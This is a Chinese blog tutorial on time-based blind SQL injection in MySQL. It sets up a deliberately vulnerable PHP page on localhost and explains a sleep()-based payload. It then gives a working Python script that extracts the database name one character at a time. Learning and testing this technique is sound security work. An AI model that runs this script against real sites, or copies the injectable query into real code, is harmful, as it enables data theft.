美文网首页听白帽子给你讲安全信息安全@IT·互联网
基于MySQL的Time Attacking自动化脚本编写

基于MySQL的Time Attacking自动化脚本编写

作者: MapleMeowMeow | 来源:发表于2016-09-26 16:06 被阅读175次

    今天来介绍基于MySQL的Time Attacking原理,并且用Python编写一个获取当前网站所用数据库名称的自动化脚本。


    准备工作

    先来模拟一个具有SQL注入漏洞的网站,该网站由一张html页面Injection.html和对应的后台php页面Injection.php构成。

    Injection.html代码如下:

    <!DOCTYPE html>
    <html>
    <head>
        <title>Injection</title>
    </head>
    <body>
        <form action="Injection.php" method="post">
            <input type="text" name="text">
            <input type="submit" name="submit">
        </form>
    </body>
    </html>
    

    Injection.php代码如下:

    <?php
        $text = $_POST['text'];
    
        $myconn = mysql_connect('127.0.0.1', 'root', 'passwd');
        mysql_select_db('securitytest', $myconn);
        $sql = "select * from test where id = " . $text;
        $result = mysql_query($sql, $myconn) or die('die');
        while($row = mysql_fetch_array($result)) {
            ?>
                <tr>
                    <td align="center"><?php echo $row["id"]?></td>
                    <td align="center"><?php echo $row["value"]?></td>
                </tr>
                <br>
            <?php
    
        }
        mysql_close($myconn);
    ?>
    

    由此可见,用户可在html页面中的输入框中输入一个id,提交查询数据库中相应的值。当输入16时,输出结果如下:


    正常输出结果

    Time Attacking原理

    由上代码可知,php在得到post的值之后,在没对它进行任何检测的前提下,直接将之与一条sql select语句进行拼接,交由数据库直接执行。因此,当用户输入以下内容时:

    16 union select 1, if(substring(current, 1, 1) = char(97), sleep(5), null) from (select database() as current) as sss;
    

    数据库要执行的sql语句就成为了:

    select * from test where id = 16 union select 1, if(substring(current, 1, 1) = char(97), sleep(5), null) from (select database() as current) as sss;
    

    这条语句的作用是先通过select database()将当前使用的数据库的名称放入current参数,再通过substring(current, 1, 1) = char(97)判断current表示的字符串的第一位是不是char(97),即ascii字符a。若数据库的名称的确是以a开头的,则会执行 sleep(5),即数据库要在5s后才会返回查询结果;若不是,则立即返回查询结果。通过对这种时间的长短进行判断,就能依次套出该数据库名称的每一个字符。


    自动化脚本编写

    根据以上原理,现用Python来编写一个自动化脚本,来取得数据库的名称。假设数据库的名称全由字母组成,若实际情况中存在数字等字符,则需要对该脚本进行修改。代码如下:

    #!/usr/bin/env python
    #coding=utf8
     
    import httplib, urllib, time
     
    httpClient = None
    try:
        headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"};
    
        dbName = "";
        i = 1;
        while(True):
            found = False;
            for j in range(97, 123):
                params = urllib.urlencode({'text': "16 union select 1, if(substring(current, " + str(i) + ", 1) = char(" + str(j) + "), sleep(5), null) from (select database() as current) as sss;"});
                
                httpClient = httplib.HTTPConnection("localhost", 80, timeout=30);
    
                start_time = time.time();
    
                httpClient.request("POST", "/WebSecurity/SQL/Injection.php", params, headers);
             
                response = httpClient.getresponse();
    
                stop_time = time.time();
    
                if (response.status == 200 and (stop_time - start_time) >= 5):
                    print(str(i) + " --> " + chr(j));
                    dbName += chr(j);
                    i += 1;
                    found = True;
                    break;
    
            if (not found):
                print(dbName);
                break;
    
    except Exception, e:
        print e
    finally:
        if httpClient:
            httpClient.close()
    

    运行结果如下图所示:

    运行结果

    结语

    以上是我的一些经验与心得,若有不足之处,请予指正。希望这篇文章对你有所帮助_

    相关文章

      网友评论

      本文标题:基于MySQL的Time Attacking自动化脚本编写

      本文链接:https://www.haomeiwen.com/subject/qmyqyttx.html